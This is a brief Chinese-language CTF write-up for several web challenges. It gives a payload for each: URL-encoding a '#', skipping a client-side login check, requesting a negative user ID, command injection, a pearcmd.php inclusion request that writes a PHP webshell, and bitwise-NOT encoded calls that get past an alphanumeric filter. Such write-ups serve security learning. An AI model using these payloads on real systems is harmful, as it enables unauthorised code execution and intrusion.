Do Something Special
题目说的很明确，flag位置给了，但是#符号会被认为解析为前端的路由，故此不会返回flag文件，所以只要用url编码一下就能拿到flaayload：/gr@b_y%23ur_fl@g_h3r3!
Obsfuscation Isn't Enough
前端验证：
'if (document.forms[0].username.value == "83fe2a837a4d4eec61bd47368d86afd6" && document.forms[0].password.value == "a3fa67479e47116a4d6439120400b057") document.location = "150484514b6eeb1d99da836d95f6671d.php"'
我们直直接访问150484514b6eeb1d99da836d95f6671d.php就可以
Zero is not the limit
payload：/user/-1
Most Secure Calculator -
payload：cat flag.txt
My PHP Site
用p神博客的裸文件包含直接可以getshell
payload：GET /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd'])?>+/tmp/shell.php HTTP/1.1
Most Secure Calculator - 2
无字母数字绕过getshell
payload：equation=(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8);
equation=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8B%87%8B);
|